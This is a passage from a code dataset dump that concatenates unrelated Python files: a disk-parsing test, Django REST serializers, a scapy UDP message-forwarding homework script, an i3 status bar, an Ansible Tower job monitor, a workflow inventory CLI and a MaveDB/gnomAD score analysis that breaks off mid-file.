code","sub_path":"real_estate/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"235018830","text":"from fact.target import _parse_lsblk_output\n\n\ndef test_linux_lsblk_parsing():\n expected = [\n (\"loop9\", 33878016, \"loop\", \"/snap/snapd/13170\"),\n (\"sda\", 85899345920, \"disk\", \"\"),\n (\"sda1\", 536870912, \"part\", \"/boot/efi\"),\n ]\n\n with open(\"test/files/lsblk_test.txt\", \"rb\") as f:\n data = f.read()\n lsblk_list = _parse_lsblk_output(data)\n assert expected == lsblk_list\n","sub_path":"test/test_lsblk.py","file_name":"test_lsblk.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"38282921","text":"from rest_framework import serializers\nfrom .models import Car, SellingFeatures\n\n\n\nclass CarSerializer(serializers.HyperlinkedModelSerializer):\n features = serializers.HyperlinkedRelatedField(\n view_name='feature_detail',\n many=True,\n read_only=True\n )\n car_url = serializers.ModelSerializer.serializer_url_field(\n view_name='car_detail'\n )\n\n class Meta:\n model = Car\n fields = ['id', 'year', 'make', 'model', 'trim', 'features', 'car_url']\n\n\nclass FeatureSerializer(serializers.HyperlinkedModelSerializer):\n car = serializers.HyperlinkedRelatedField(\n view_name='car_detail',\n read_only=True\n )\n\n car_id = serializers.PrimaryKeyRelatedField(\n queryset=Car.objects.all(),\n source='car'\n\n )\n\n class Meta:\n model = SellingFeatures\n fields = ['id', 'car', 'car_id', 'feat1', 'feat2',\n 'feat3', 'feat4', 'feat5', 'feat6', 'feat7', 'feat8', 'feat9', 'feat10']\n\n# class UserSerializer(serializers.HyperlinkedModelSerializer):\n# car = serializers.HyperlinkedRelatedField(\n# view_name='car_list',\n# read_only=True\n# )\n\n # car_id = serializers.PrimaryKeyRelatedField(\n # queryset=Car.objects.all(),\n # source='car'\n # )\n\n # class Meta:\n # model = User\n # fields = ['id', 'car', 'car_id', 'username', 'email', 'password']","sub_path":"suresell/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"573321449","text":"#!/usr/bin/env python\n\n''' module to forward messages from input file to addressants in separetade packets. Remember that one messages could be addressed to many addressants'''\n\nimport os\nimport sys\nimport re\nimport json\nimport threading\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\nimport scapy.all as scapy\nimport getter\nfrom itertools import izip # just zip in python 3.x\n\n# global constants\n\nFILE_PATH = sys.argv[1]\nIVASYK_PATTERN = '(.{2})+$' #line has an even quantity of symbols\nDMYTRYK_PATTERN = '^[A-Z]' # line starts with head letter\nLESYA_PATTERN = ' end$' # line ends with ' end'\nIVASYK = 'IVASYK'\nDMYTRYK = 'DMYTRYK'\nOSTAP = 'OSTAP'\nLESYA = 'LESYA'\nJSON_FILE_PATH = 'servers.json'\nPORT = 8888\nTIMEOUT = 2\n\ncontacts = (IVASYK, DMYTRYK, OSTAP, LESYA)\n\nADDR_DICT = {}\n\nreceivers = {contact: [] for contact in contacts} # containt class objects\n\n\nclass Addressant:\n\n ''' this class will contain a information about user '''\n\n packets = []\n\n def __init__(self, name, ip):\n self.__name = name\n self.__ip = ip\n\n def __ping(self):\n\n ''' function which check if a receiver is online and return boolean'''\n\n ans, unans = scapy.sr(scapy.IP(dst=self.__ip)/scapy.ICMP(), timeout=TIMEOUT, verbose=False)\n return bool(ans)\n\n def __sniffing_udp(self, packet, line):\n\n ''' function check if a packet was sent '''\n\n catched = scapy.sniff(filter='udp and port 8888', timeout=TIMEOUT)\n for pckt in catched:\n try:\n msg = pckt.getlayer(scapy.Raw).load # get a encode Raw\n msg_to_check = msg.decode('utf-8', 'ignore') # decode a Raw\n if self.__ip == pckt.getlayer(scapy.IP).dst and line == msg_to_check:\n print('sended successfully\\n') # it will be printed a lot times, sorry\n except AttributeError: # kostil'\n pass\n\n def send_packet(self):\n\n ''' function send all packets line by line to a receiver '''\n\n for line in self.packets:\n if (self.__ping()):\n packet_to_send = scapy.IP(dst=self.__ip)/scapy.UDP(sport=PORT, dport=PORT)/line\n thread = threading.Thread(target=self.__sniffing_udp, args=(packet_to_send, line, )).start()\n scapy.send(packet_to_send, verbose=False)\n else:\n print(\"do not response:\", self.__ip)\n\n\ndef check_args():\n\n ''' this function needs to check numbers of arguments from command line'''\n\n if len(sys.argv) != 2:\n print(\"please run the program in this way:\\n\")\n print(\"sudo python home_work#1 txt_file.txt\")\n exit(1)\n\n\ndef exists_check(path):\n\n '''here we check if file exists'''\n\n try:\n os.path.exists(path)\n except FileNotFoundError:\n print(\"Not exists: exit\\n\")\n exit(1)\n\n\ndef make_class_obj(json_file_path='servers.json'):\n\n ''' make a class objects using json file '''\n\n exists_check(json_file_path)\n with open(json_file_path) as json_file:\n ADDR_DICT = json.load(json_file) # fill a dict with name as key and ip as content\n for server, contact in izip(ADDR_DICT, contacts):\n receivers[contact].append(Addressant(server, ADDR_DICT[server])) # creating a class objects\n\n\ndef check_ivasyk(line):\n\n '''here we check @line for IVASYK and return a boolean'''\n\n return (re.match(IVASYK_PATTERN, line))\n\n\ndef check_dmytryk(line):\n\n '''here we check @line for DMYTRYK and return a boolean'''\n\n return (not check_ivasyk(line) and re.match(DMYTRYK_PATTERN, line))\n\n\ndef check_lesya(line):\n\n '''here we check @line for LESYA and return a boolean'''\n\n return (re.match(LESYA_PATTERN, line))\n\n\ndef forward_messages(path):\n\n '''here we will forward each line to the correct key in dictionary(class object)'''\n\n all_messages = getter.get_msg(path).splitlines()\n all_messages = [x.strip('\\n') for x in all_messages]\n for line in all_messages:\n if line == '\\n':\n continue\n elif check_lesya(line):\n for obj in receivers[LESYA]: # this loop just for get to the class object\n obj.packets.append(line)\n elif check_ivasyk(line):\n for obj in receivers[IVASYK]:\n obj.packets.append(line)\n elif check_dmytryk(line):\n for obj in receivers[DMYTRYK]:\n obj.packets.append(line)\n else:\n for obj in receivers[OSTAP]:\n obj.packets.append(line)\n\n\ndef main():\n check_args()\n exists_check(FILE_PATH)\n make_class_obj(JSON_FILE_PATH)\n forward_messages(FILE_PATH)\n for contact in receivers:\n for obj in receivers[contact]:\n obj.send_packet()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"home_work_1.py","file_name":"home_work_1.py","file_ext":"py","file_size_in_byte":4771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"617405200","text":"#!/usr/bin/env python\n\nimport os\nimport sys\nimport time\nimport json\nimport locale\nimport subprocess\nfrom collections import deque\n\nlocale.setlocale(locale.LC_ALL, 'it_IT.UTF-8')\n\ndef hbar(cur, max, width):\n L = ['\\u258f', '\\u258e', '\\u258d','\\u258c','\\u258b','\\u258a','\\u2589','\\u2588']\n ticks = (cur * (width * 8)) // max\n full_ticks = ticks // 8\n last_tick = ticks % 8\n bar = '\\u2588' * full_ticks\n if last_tick > 0: bar += L[last_tick]\n if len(bar) < width: bar += ' ' * (width - len(bar))\n return bar\n\ndef read_dict(filename, sep='='):\n result = dict()\n\n try:\n with open(filename, 'r') as fobj:\n lines = fobj.read().split('\\n')\n for line in lines:\n parts = line.split(sep)\n\n if len(parts) == 2:\n pkey = parts[0].strip()\n pvalue = parts[1].strip()\n result[pkey] = pvalue\n except:\n pass\n\n return result\n\ndef read_value(filename):\n with open(filename, 'r') as fobj:\n return fobj.read().strip()\n\ndef read_lines(filename):\n with open(filename, 'r') as fobj:\n return fobj.read().split('\\n')\n\ndef gen_sep(fg, bg):\n o = dict()\n o['full_text'] = ''\n o['color'] = fg\n o['background'] = bg\n o['markup'] = 'pango'\n return [o]\n\ndef gen_time():\n o = dict()\n o['full_text'] = time.strftime('%a %d %b %H:%M:%S')\n o['markup'] = 'pango'\n\n return [o]\n\ndef gen_ram():\n d = read_dict('/proc/meminfo', sep=':')\n\n totalMem = int(d['MemTotal'].split()[0])\n freeMem = int(d['MemFree'].split()[0])\n shmem = int(d['Shmem'].split()[0])\n sreclaimable = int(d['SReclaimable'].split()[0])\n \n buffersMem = int(d['Buffers'].split()[0])\n cachedMem = int(d['Cached'].split()[0])\n\n swapTotal = int(d['SwapTotal'].split()[0])\n swapFree = int(d['SwapFree'].split()[0])\n\n # The following calc comes from htop source files for linux\n\n usedMem = totalMem - freeMem\n cachedMem = cachedMem + sreclaimable - shmem\n usedSwap = swapTotal - swapFree\n usedMemNC = usedMem - cachedMem - buffersMem\n \n tot_gb = round(totalMem / 1024 / 1024, 2)\n use_gb = round(usedMemNC / 1024 / 1024, 2)\n buf_mb = round(buffersMem / 1024, 0)\n cac_gb = round(cachedMem / 1024 / 1024, 2)\n# label = 'Mem:{}G used:{}G buffers:{}M cache:{}G'.format(tot_gb, use_gb, buf_mb, cac_gb)\n label = 'RAM {0:.2f}G/{1:.2f}G {2}'.format(use_gb, tot_gb, hbar(usedMemNC, totalMem, 10))\n \n o = dict()\n o['full_text'] = label\n o['markup'] = 'pango'\n return [o]\n\ndef gen_bat2():\n d1 = read_dict('/sys/class/power_supply/ADP1/uevent')\n d2 = read_dict('/sys/class/power_supply/BAT0/uevent')\n\n bat_pwr = int(d1.get('POWER_SUPPLY_ONLINE', 0))\n bat_pre = int(d2.get('POWER_SUPPLY_PRESENT', 0))\n bat_cap = int(d2.get('POWER_SUPPLY_CAPACITY', 0))\n bat_sta = d2.get('POWER_SUPPLY_STATUS', '?')\n\n icon = '\\uf237' if bat_pwr == 1 else '\\uf3cf'\n color = '#00ff00' if bat_pwr == 1 else '#ff0000'\n label = '{} {}%'.format(color, icon, bat_cap)\n\n o = dict()\n o['full_text'] = label\n o['markup'] = 'pango'\n return [o]\n\ndef gen_backlight():\n cur = int(read_value('/sys/class/backlight/intel_backlight/brightness'))\n max = int(read_value('/sys/class/backlight/intel_backlight/max_brightness'))\n perc = int(cur * 100 / max)\n\n icon = '\\uf2e4'\n label = '{} {}%'.format(icon, perc)\n\n o = dict()\n o['full_text'] = label\n o['markup'] = 'pango'\n return [o]\n\ndef gen_volume():\n\n info1 = subprocess.check_output(['amixer', '-c', '1', 'sget', 'Master']).decode('ascii')\n# info2 = subprocess.check_output(['amixer', '-c', '1', 'sget', 'Headphone']).decode('ascii')\n\n parts1 = info1.split('\\n')[4].split()\n# parts2 = info2.split('\\n')[5].split()\n\n pvol1 = int(parts1[3][1:-2])\n pmute1 = parts1[5]\n\n# pvol2 = parts2[4]\n# pmute2 = parts2[6]\n\n if pmute1 == '[off]':\n label = '\\uf35a OFF'\n else:\n if pvol1 < 30: icon = '\\uf358'\n elif pvol1 < 70: icon = '\\uf359'\n else: icon = '\\uf357'\n label = '{} {}%'.format(icon, pvol1)\n# icon = '\\uf240 \\uf357'\n# label = '{} {} {} {} {}'.format(icon, pvol1, pmute1, pvol2, pmute2)\n\n o = dict()\n o['full_text'] = label\n# o['color'] = '#00faff'\n return [o]\n\nrxq = deque([], 3)\ntxq = deque([], 3)\nlast_rx = -1\nlast_tx = -1\n\ndef gen_wifi():\n global rxq\n global txq\n global last_rx\n global last_tx\n\n dev = 'wlo1'\n label = ''\n\n up = int(read_value('/sys/class/net/' + dev + '/link_mode'))\n tx = int(read_value('/sys/class/net/' + dev + '/statistics/tx_bytes'))\n rx = int(read_value('/sys/class/net/' + dev + '/statistics/rx_bytes'))\n\n if last_rx >= 0: rxq.append(rx - last_rx)\n if last_tx >= 0: txq.append(tx - last_tx)\n\n last_rx = rx\n last_tx = tx\n\n delta_tx = sum(txq) / len(txq) if len(txq) > 0 else 0\n delta_rx = sum(rxq) / len(rxq) if len(rxq) > 0 else 0\n\n c1 = '#ff0000' if delta_tx > 0 else '#660000'\n c2 = '#00ff00' if delta_rx > 0 else '#006600'\n\n o1 = dict() # up speed\n o1['full_text'] = '\\uf20c {1:.2f}'.format(c1, delta_tx / 1024)\n o1['markup'] = 'pango'\n\n o2 = dict() # down speed\n o2['full_text'] = '\\uf203 {1:.2f}'.format(c2, delta_rx / 1024)\n o2['markup'] = 'pango'\n\n return [o1, o2]\n\ndef append(s):\n sys.stdout.write(s)\n sys.stdout.write('\\n')\n sys.stdout.flush()\n\nappend('{\"version\":1}')\nappend('[')\n\nwhile True:\n L = []\n L += gen_wifi()\n L += gen_ram()\n L += gen_volume()\n L += gen_backlight()\n L += gen_bat2()\n L += gen_time()\n\n for o in L: # set defaults\n o['align'] = o.get('align', 'center')\n o['separator'] = o.get('separator', False)\n o['separator_block_width'] = o.get('separator_block_width', 20)\n o['border_left'] = o.get('border_left', 0)\n o['border_right'] = o.get('border_right', 0)\n o['border_top'] = o.get('border_top', 0)\n o['border_bottom'] = o.get('border_bottom', 0)\n# o['border'] = '#eeeeee'\n\n JS = [json.dumps(o) for o in L]\n append('[' + ','.join(JS) + '],')\n time.sleep(1)\n\n","sub_path":"scripts/i3status.py","file_name":"i3status.py","file_ext":"py","file_size_in_byte":6334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"623426829","text":"#!/usr/bin/env python\n\"\"\"\nStart and monitor ansilbe tower jobs from the command line, in real time.\nGrab your pop corns.\n\"\"\"\nfrom __future__ import print_function, absolute_import\nimport json\nfrom time import sleep\nfrom .api import APIv1, APIError\n\n# some constants\nSLEEP_INTERVAL = 1.0 # sleep interval\n\n\nclass GuardError(Exception):\n \"\"\"\n Generic Guard Error\n \"\"\"\n pass\n\n\nclass Guard(object):\n \"\"\"\n Your belowed tower house keeper. It just need a configuration object\n and it will do all the dirty job for you.\n \"\"\"\n def __init__(self, config):\n self.config = config\n try:\n self.api = APIv1(config)\n except APIError as error:\n raise GuardError(error)\n\n def get_template_id(self, template_name):\n \"\"\"\n Returns a template id from a template name\n Args:\n template_name (str): the name of template\n\n Retruns:\n (str): template id if found\n\n Raises:\n GuardError\n \"\"\"\n api = self.api\n try:\n data = api.template_data(template_name)\n return data['results'][0]['id']\n except APIError as error:\n raise GuardError(error)\n\n def kick(self, template_id, extra_vars):\n \"\"\"\n Starts a job in ansible tower\n Args:\n template_id (int): id of the template to start\n Returns:\n job_id (int): id of the triggered job\n Raises:\n GuardError\n \"\"\"\n try:\n return self.api.launch_template_id(template_id, extra_vars)\n except APIError as error:\n raise GuardError(error)\n\n def download_url(self, job_id, output_format):\n \"\"\"\n Returns the url\n \"\"\"\n host = self.config.get('host')\n return 'https://{0}/api/v1/jobs/{1}/stdout/?format={2}'.format(\n host, job_id, output_format)\n\n def ad_hoc_url(self, job_id, output_format):\n \"\"\"\n Returns the url\n \"\"\"\n host = self.config.get('host')\n return 'https://{0}/api/v1/ad_hoc_commands/{1}/stdout/?format={2}'.format(\n host, job_id, output_format)\n\n def monitor(self, job_url, output_format, sleep_interval=SLEEP_INTERVAL):\n \"\"\"\n Monitor the execution of a job stdout endpoint\n Args:\n job_url (str): job url\n output_format (str): text, ansi, ...\n sleep_interval (float): number of seconds between two consecutive\n calls to stdout endpoint\n Raises:\n GuardError\n \"\"\"\n # a good old empty string\n prev_output = u''\n # suppose the job is not complete\n result = None\n complete = False\n api = self.api\n try:\n while not complete:\n complete = api.job_finished(job_url)\n # get the current status from the API point\n output = api.job_stdout(job_url, output_format)\n # take a nap\n sleep(sleep_interval)\n # we just want to display the lines that have not been printed\n # yet\n print_me = output.replace(prev_output, '').strip()\n # do not print empty lines\n if print_me:\n print(print_me)\n # now all the new lines have been printed, set prev_req to output\n prev_output = output\n result = api.job_status(job_url)\n except APIError as error:\n raise GuardError(error)\n\n # print some other information\n # download_url = self.download_url(job_id, 'txt_download')\n # print('you can download the full output from: {0}'.format(download_url))\n # check if the job was successful\n if result == 'failed':\n msg = 'job id {0}: ended with errors'.format(job_url)\n raise GuardError(msg)\n\n def kick_and_monitor(self, template_name, extra_vars, output_format,\n sleep_interval=SLEEP_INTERVAL):\n \"\"\"\n Starts a job and monitors its execution\n\n Args:\n template_name (str): Name of the template\n extra_vars (list|tuple): extra variables\n output_format (str): output format\n Raises:\n GuardError\n \"\"\"\n api = self.api\n try:\n template_id = api.template_id(template_name)\n job = self.kick(template_id, extra_vars)\n job_url = self.launch_data_to_url(job)\n self.monitor(job_url, output_format, sleep_interval)\n except APIError as error:\n raise GuardError(error)\n\n def launch_data_to_url(self, job_data):\n \"\"\"\n Did you just execute a job? pass the json file you just got back from\n the api to this method and get its url\n\n Args:\n job_data (dict): whatever a kick job returned to you\n\n Returns:\n url (str): url of the job\n\n Raises:\n GuardError\n \"\"\"\n api = self.api\n try:\n return api.launch_data_to_url(job_data)\n except APIError as error:\n raise GuardError(error)\n\n def ad_hoc(self, ad_hoc):\n \"\"\"\n Starts a ad hoc job in ansible tower\n Args:\n ad_hoc (AdHoc): Inventory to run on\n Returns:\n job_id (int): id of the triggered job\n\n \"\"\"\n api = self.api\n try:\n result = api.launch_ad_hoc(ad_hoc)\n return json.loads(result.text)\n except APIError as error:\n raise GuardError(error)\n\n def wait_for_job_to_start(self, job_id, sleep_interval=SLEEP_INTERVAL):\n \"\"\"\n Ad hoc jobs to not start immediatly, we need to call the api few times\n before the job gets started. This method blocks the execution of monitor\n until the ad hoc command is started.\n\n Args:\n job_id (AdHoc): ad hoc object\n sleep_interval (float): how long to wait before calling the api\n again and get any new output text\n \"\"\"\n api = self.api\n started = False\n try:\n job_url = api.job_url(job_id)\n while not started:\n sleep(sleep_interval)\n started = api.job_started(job_url)\n except APIError as error:\n raise GuardError(error)\n\n def ad_hoc_and_monitor(self, ad_hoc, output_format, sleep_interval=SLEEP_INTERVAL):\n \"\"\"\n Starts an ad hoc job and outputs the job output on stdout\n\n Args:\n ad_hoc (AdHoc): ad hoc object\n output_format (str): output format, it can be ansi or txt\n sleep_interval (float): how long to wait before calling the api\n again and get any new output text\n Raises:\n GuardError\n \"\"\"\n job = self.ad_hoc(ad_hoc)\n job_url = self.launch_data_to_url(job)\n job_id = job['id']\n # wait for job to be started\n self.wait_for_job_to_start(job_id, sleep_interval)\n self.monitor(job_url, output_format=output_format,\n sleep_interval=sleep_interval)\n\n def job_url(self, job_id):\n \"\"\"\n transforms a job id into a job_url, using fireworks and some magic\n tricks. Do not try this at home!\n\n Args:\n job_id (int|str): job id\n\n Returns:\n (str): url of the job\n\n Raises:\n GuardError\n \"\"\"\n api = self.api\n try:\n return api.job_url(job_id)\n except APIError as error:\n raise GuardError(error)\n","sub_path":"lib/tc.py","file_name":"tc.py","file_ext":"py","file_size_in_byte":7645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"486727952","text":"\"\"\" Command group for recast-workflow inventory \"\"\"\nimport click\nimport time\nimport os\nimport yaml\n\nimport recast_workflow.inventory as inventory\nimport recast_workflow.workflow as workflow\n\n@click.group(name='inv')\ndef cli():\n \"\"\" Command group for interacting with recast-workflow inventory \"\"\"\n\n@cli.command()\ndef ls():\n \"\"\" List all workflows in inventory \"\"\"\n li = inventory.list_inv()\n if not li:\n print('No workflows in inventory.')\n return\n\n fmt = '{0:40}{1:40}'\n click.echo('-' * 80)\n click.echo(fmt.format(\"WORKFLOW NAMES\", \"TIME LAST MODIFIED\"))\n click.echo('-' * 80)\n for wf in li: click.echo(fmt.format(wf, time.ctime(os.path.getmtime(inventory.get_inv_wf_path(wf)))))\n print()\n\n@cli.command()\n@click.option('--all', metavar='rm_all', is_flag=True, help='Remove all workflows in inventory.')\n@click.option('-f', '--force', is_flag=True, help='Do not ask for confirmation before removing.')\n@click.argument('names', nargs=-1)\ndef rm(names, rm_all, force):\n \"\"\" Remove workflows with names NAMES from inventory \"\"\"\n\n def confirm() -> bool:\n \"\"\" Ask for confirmation before removing \"\"\"\n if force: return True\n toRm = \"all\" if rm_all else ' '.join(names)\n return click.confirm('Are you sure you would like to delete {toRm} workflows in inventory?', abort=True)\n\n if rm_all:\n if not force and not confirm(): return\n for n in inventory.list_inv():\n inventory.remove(n)\n elif confirm():\n for n in names: inventory.remove(n)\n\n@cli.command()\n@click.option('-n', '--name', type=str, help='Set name in inventory')\n@click.argument('path', type=click.Path(exists=True))\ndef add(path, name):\n \"\"\" Add workflow in .yml file at PATH to inventory. \"\"\"\n\n inventory.add(path, name=name)\n\n@cli.command()\n@click.argument('name', type=str)\n@click.option('-o','--output-path', type=click.Path(file_okay=True, resolve_path=True), help='Path to output found workflow to.')\ndef getyml(name, output_path):\n \"\"\" Get text of workflow from inventory. \"\"\"\n\n res = inventory.get_inv_wf_yml(name, text=True)\n if not output_path:\n print(res)\n return\n else:\n if not output_path.endswith('.yml'): output_path += f'/{name}.yml'\n with open(output_path, 'w+') as output_file:\n output_file.write(res)\n\n\n@cli.command()\n@click.argument('name', type=str)\n@click.argument('output-path', type=click.Path(file_okay=True, resolve_path=True))\n@click.option('-r', '--reana', type=str, help='Include reana.yaml in output dir with given data output path.')\ndef getdir(name, output_path, reanayml):\n \"\"\" Get directory with run script, inputs folder, and workflow \"\"\"\n try:\n inventory.get_dir(name, output_path, reana=reana)\n except FileExistsError as e:\n click.echo(f'Directory already exists: {str(e).rpartition(\" \")[-1]}')\n\n@cli.command()\n@click.option('-p', '--path', type=click.Path(exists=True), help='Path to workflow file')\n@click.option('-n', '--name', type=str, help='Name of workflow in inventory')\n@click.option('-o','--output-path', type=click.Path(file_okay=True, resolve_path=True), help='Path to output inputs.yml to.')\ndef getinputs(path, name, output_path):\n \"\"\" Get inputs for workflow saved locally or in inventory. Can output inputs.yml file \"\"\"\n if not (path or name): return\n\n wf_yml = inventory.get_inv_wf_yml(name) if name else {}\n res = {i:None for i in workflow.get_inputs(wf_yml, path=path)}\n\n inputs_text = yaml.dump(res)\n if output_path:\n with open(output_path, 'w+') as output_file:\n output_file.write(inputs_text)\n else:\n click.echo(inputs_text)\n","sub_path":"src/recast_workflow/cli/inv.py","file_name":"inv.py","file_ext":"py","file_size_in_byte":3681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"340358293","text":"#/usr/bin/python3\n\n\"\"\"\nruns batch analysis on mavedb data \n\nGoal: compare the distributions of variants possible with single amino acid changes\nto those that are not possible, for differences in functional parameters\n\"\"\"\n\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport re\n\n# testing ks test from r package\nfrom rpy2.robjects.vectors import FloatVector\nfrom rpy2.robjects.packages import importr\nr_stats = importr('stats')\n\nfrom scipy.stats import ks_2samp\n#from scipy.stats import ttest_ind\n\nfrom add_info import add_info\n\n# first we need to load our file that includes the annotations for each urn.\n# this is because we have annotated some urns that we want to exclude from our analysis\n\n\nanno_df = pd.read_csv('annotations.csv')\ninfo_df = add_info(download=False)\n\nall_info_df = pd.merge(info_df, anno_df, how = 'outer', on ='urn')\nremoved_df = all_info_df[all_info_df['remove'] == 'REMOVE']\nremoved_list = removed_df['urn'].tolist()\nnon_remove = all_info_df['remove'] != 'REMOVE'\nall_info_df = all_info_df[non_remove]\nall_info_df = all_info_df.drop(['remove','reason'],axis=1)\n\nhuman_df = all_info_df[all_info_df['organism'] == 'Homo sapiens']\nhuman_list = human_df['urn'].tolist()\nprint(set(human_df['gene'].tolist()))\n\noutput_list = [['target','urn','n_multi','n_syn','n_stop','mean_score_all','std_score_all','n_all','mean_score_pos',\n 'std_score_pos','n_pos','mean_score_impos','std_score_impos',\n 'n_impos','delta_pos_impos','ks_stat','ks_p','r_ks_stat','r_ks_p']]\n\nfrom matplotlib.backends.backend_pdf import PdfPages\n\n# create a pdf for our histograms to all go in\npp = PdfPages('figures/histograms.pdf')\npp_delta = PdfPages('figures/delta_scores.pdf')\npp_syn = PdfPages('figures/delta_syn.pdf')\npp_gmd = PdfPages('figures/isgnomAD.pdf')\n\n# iterate through targets and files\nfor target in os.listdir('scoresets'):\n target_dir = os.path.join('scoresets',target)\n if not os.path.isdir(target_dir):\n continue\n for urn in os.listdir(target_dir):\n # we want to check to make sure this urn is not in our removal list\n if urn in removed_list:\n continue\n urn_dir = os.path.join(target_dir, urn)\n if not os.path.isdir(urn_dir):\n continue\n for filename in os.listdir(urn_dir):\n if filename.endswith('_data.csv'):\n # the urn number that identifies the data set\n urn = filename[:-9]\n print('Analyzing data for: ' + urn)\n # find the corresponding posAA file\n posAA_filename = urn + '_posAA.csv'\n\n # this will give all of the info for the given urn\n urn_df = all_info_df[all_info_df['urn'] == urn]\n gene = urn_df.iloc[0]['gene']\n\n # Begin analysis\n pos_codons = pd.read_csv(os.path.join(urn_dir,posAA_filename), header = None)\n pos_codons_list = pos_codons[0].tolist()\n\n # open data file\n df = pd.read_csv(os.path.join(urn_dir,filename), skiprows = 4)\n\n # figure out what type of variant each of these are\n df['stop'] = df.apply(lambda x: len(re.findall('Ter', x['hgvs_pro']))==1, axis = 1)\n df['single_aa'] = df.apply(lambda x: len(x['hgvs_pro'].split(';')) == 1, axis=1)\n df['syn'] = df.apply(lambda x: len(re.findall('=', x['hgvs_pro']))==1, axis = 1)\n n_stop = len(df[df['stop'] == True])\n n_multi = len(df[df['single_aa'] == False])\n n_syn = len(df[df['syn'] == True])\n df = df[df['stop'] == False]\n df = df[df['single_aa'] == True]\n df = df[df['syn'] == False]\n\n # get the amino acid number\n df['aa_num'] = df.apply(lambda x: re.findall('[0-9]+', x['hgvs_pro'])[0] if len(re.findall('[0-9]+', x['hgvs_pro'])) >= 1 else None, axis = 1)\n\n # calculate possible variants\n df['possible'] = df['hgvs_pro'].isin(pos_codons_list)\n n_all = len(df)\n #print('number of variants: ' + str(pos_var))\n posdf = df[df['possible'] == True]\n n_pos = len(posdf)\n #print('number of possible variants: ' + str(len(posdf)))\n imposdf = df[df['possible'] == False]\n n_impos = len(imposdf)\n #print('number of impossible variants: ' + str(len(imposdf)))\n\n # figure out the difference in mean possible - impossible per site (aaNum)\n grouped_posdf = posdf.groupby('aa_num').agg({'score':['mean']})\n grouped_posdf.columns = ['_'.join(col).strip() for col in grouped_posdf.columns.values]\n grouped_posdf = grouped_posdf.reset_index()\n\n grouped_imposdf = imposdf.groupby('aa_num').agg({'score':['mean']})\n grouped_imposdf.columns = ['_'.join(col).strip() for col in grouped_imposdf.columns.values]\n grouped_imposdf = grouped_imposdf.reset_index()\n\n mergedf = grouped_posdf.merge(grouped_imposdf, on = 'aa_num', how = 'outer', suffixes = ('_pos','_impos'))\n mergedf['delta_score'] = mergedf['score_mean_pos'] - mergedf['score_mean_impos']\n\n #print(mergedf)\n fig1,ax1 = plt.subplots(1,1)\n non_null_df = mergedf[mergedf['delta_score'].notnull()]\n ax1.hist(non_null_df['delta_score'])\n plt.suptitle('Difference in score per codon Possible - Impossible for ' + target)\n plt.savefig(os.path.join(urn_dir, urn+'_delta.png'))\n plt.savefig('figures/delta_scores/' + target + '_' + urn + '.png')\n pp_delta.savefig(fig1)\n plt.close(fig1)\n\n if isinstance(gene, str): # this checks that there is a human gene associated with this data\n \"\"\" only gets urns that will perform analysis based on gnomAD data \"\"\"\n # i am not sure why but missing numbers are qualified as floats right now\n # this should get rid of missing values in this category\n gmd_file = '../gnomAD/gnomADv2_' + gene + '.csv'\n gmd_df = pd.read_csv(gmd_file)\n syn_df = gmd_df[gmd_df['Annotation'] == 'synonymous_variant']\n syn_df['aa_num'] = syn_df.apply(lambda x: re.findall('[0-9]+', x['Consequence'])[0] if len(re.findall('[0-9]+', x['Consequence'])) >= 1 else None, axis = 1)\n syn_df['is_syn'] = syn_df.apply(lambda x: 1 if x['Allele Count'] > 0 else 0, axis=1)\n grouped_syn_df = syn_df.groupby('aa_num').agg({'is_syn':['sum']})\n grouped_syn_df.columns = ['_'.join(col).strip() for col in grouped_syn_df.columns.values]\n grouped_syn_df = grouped_syn_df.reset_index()\n #print(grouped_syn_df)\n grouped_syn_df = grouped_syn_df[['aa_num','is_syn_sum']]\n merged_gmd_syn_df = grouped_syn_df.merge(mergedf, on = 'aa_num', how = 'outer')\n merged_gmd_syn_df = merged_gmd_syn_df.fillna(0)\n\n # delta_score boxplots\n fig, ax = plt.subplots(1,1)\n merged_gmd_syn_df.boxplot(column = 'delta_score', by = 'is_syn_sum', ax=ax)\n plt.suptitle(gene)\n plt.savefig('figures/delta_score_syn/' + gene + '_syn.png')\n pp_syn.savefig(fig)\n plt.close(fig)\n\n # figure out the functional distribution of gnomAD data\n mis_df = gmd_df[gmd_df['Annotation'] == 'missense_variant']\n mis_df['aa_num'] = mis_df.apply(lambda x: re.findall('[0-9]+', x['Consequence'])[0] if len(re.findall('[0-9]+', x['Consequence'])) >= 1 else None, axis = 1)\n mis_df['is_mis'] = mis_df.apply(lambda x: 1 if x['Allele Count'] > 0 else 0, axis=1)\n mis_df = mis_df[['Protein Consequence','Allele Count','is_mis']]\n merged_gmd_mis_df = mis_df.merge(df, right_on = 'hgvs_pro', left_on = 'Protein Consequence', how = 'right')\n merged_gmd_mis_df['Allele Count'] = merged_gmd_mis_df['Allele Count'].fillna(0)\n merged_gmd_mis_df['in_gnomAD'] = merged_gmd_mis_df.apply(lambda x: True if x['Allele Count'] > 0 else False, axis=1)\n\n # isgnomAD boxplots\n fig, ax = plt.subplots(1,1)\n merged_gmd_mis_df.boxplot(column = 'score', by = 'in_gnomAD', ax=ax)\n plt.suptitle(gene)\n plt.savefig('figures/isgnomAD/' + gene + '_isgnomAD.png')\n pp_gmd.savefig(fig)\n plt.close(fig)\n\n gmd_len = len(merged_gmd_mis_df[merged_gmd_mis_df['in_gnomAD'] == True])\n print(gmd_len)\n\n # isgnomAD histograms\n if gmd_len > 0:\n fig,ax = plt.subplots(1,1)\n bins = 40\n a = merged_gmd_mis_df[merged_gmd_mis_df['in_gnomAD'] == True]['score']\n 